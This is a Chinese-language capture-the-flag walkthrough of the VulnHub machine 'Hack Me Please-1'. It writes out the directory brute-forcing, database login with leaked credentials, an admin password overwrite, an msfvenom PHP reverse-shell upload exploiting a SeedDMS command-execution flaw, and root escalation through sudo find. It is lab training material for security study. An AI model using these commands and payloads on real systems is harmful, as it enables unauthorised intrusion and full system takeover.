『vulnhub系列』Hack Me Please-1
『vulnhub系列』Hack Me Please-1
下载地址:
1 | https://www.vulnhub.com/entry/hack-me-please-1,731/ |
信息搜集:
使用nmap进行探测存活主机,发现主机开启了80端口和3306端口
1 | nmap 192.168.0.* |
访问80端口的web服务
使用dirsearch扫描目录,但是并没有可以访问的页面
1 | dirsearch -u "http://192.168.0.132/" |
在main.js发现提示,有一个目录/seeddms51x/seeddms-5.1.22/
访问一下是一个登录页面
现在我们扫描这个目录
1 | dirsearch -u "http://192.168.0.132/seeddms51x/seeddms-5.1.22/" |
访问/install
页面
发现install不了
1 | http://192.168.0.132/seeddms51x/seeddms-5.1.22/install/install.php |
说是要在conf
目录下创建ENABLE_INSTALL_TOOL
,但是我们好像并不知道这个conf
目录在哪里
可以确定当前seeddms51x/seeddms-5.1.22/
目录下没有。现在我们向前每一级文件都爆破一下。
1 | dirsearch -u "http://192.168.0.132/seeddms51x/" |
我们现在几乎可以确定conf
就在/seeddms51x/
这个目录文件下了
然后我们继续访问conf/ENABLE_INSTALL_TOOL
和conf
,发现都无法访问
继续爆破一下吧,终于发现了settings.xml
1 | dirsearch -u "http://192.168.0.132/seeddms51x/conf" |
访问一下,我们找到了数据库的用户名和密码都为:seeddms
我们登录mysql
1 | mysql -h 192.168.0.132 -u seeddms -p |
1 | show database; #查看数据库 |
发现users表
1 | use seeddms; #使用seeddms数据库 |
查看users表的内容发现用户名和密码
+-------------+---------------------+--------------------+-----------------+ | Employee_id | Employee_first_name | Employee_last_name | Employee_passwd | +-------------+---------------------+--------------------+-----------------+ | 1 | saket | saurav | Saket@#$1337 | +-------------+---------------------+--------------------+-----------------+
1 | select * from users; #查看users所有内容 |
使用ID和密码登录
登录失败,还有个表是tblUsers,我们查看一下,里面有一个admin和一个md5加密的密码
1 | select * from tblUsers; |
我们可以覆盖一下,首先使用python生成一个md5值21232f297a57a5a743894a0e4a801fc3
1 | python3 -c 'import hashlib;print(hashlib.md5("admin".encode()).hexdigest())' |
修改数据库条目,修改成功
1 | update tblUsers set pwd='21232f297a57a5a743894a0e4a801fc3' where login='admin'; |
使用我们修改后的密码admin和用户名admin登录,登陆成功
漏洞利用:
我们发现添加文件选项是可以上传文件的,我们上传一个msfvenom生成的反弹shell
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.129 lport=4444 -o re_shell.php |
我们此时搜一下seeddms的漏洞
看到一个远程命令执行,看一下如何实现
1 | Step 1: Login to the application and under any folder add a document. |
步骤1,2:就是登录,然后上传一个文档,我们已经上传完成了例子用的是一个webshell,我们上传的是反弹shell,我们需要找到上传文件的位置
步骤3:查看文档的id,我们通过刚刚上传的反弹php序号为12
步骤4:访问/data/1048576/"document_id"/1.php
页面,在那之前先开启msf的监听,然后访问1.php
反弹成功
提升权限:
我们查看/home
页面发现存在用户saket
我们之前有在数据库中发现过saket
,他的密码是Saket@#$1337
我们登陆试试,登录成功
1 | su saket |
使用sudo -l
查看此用户可以以root
权限执行的命令,发现是(ALL : ALL) ALL
那就自由发挥吧,这里使用find
提权,成功
1 | sudo find /home -exec /bin/bash \; |